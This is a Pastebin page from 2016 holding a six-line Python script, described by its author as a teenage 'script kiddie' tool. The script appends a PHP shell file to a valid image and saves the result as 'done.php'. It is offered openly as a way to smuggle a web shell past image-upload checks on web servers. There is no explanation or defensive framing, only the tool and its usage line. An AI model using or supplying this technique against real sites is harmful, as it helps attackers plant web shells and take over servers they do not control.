Advertisement
Skidie_Khan

Inject shell in a valid image using Py script.

Dec 13th, 2016
2,788
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.26 KB | None | 0 0
  1. #Coded By Skidie Khan. A 16YO Script Kiddie B| Salam to all muslim brothers. usage: python script.py image.jpg shell.php
  2. from sys import argv
  3. script, img, shell = argv
  4. i = open(img,'rb').read()
  5. i += open(shell,'rb').read()
  6. f = open('done.php','wb').write(i)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement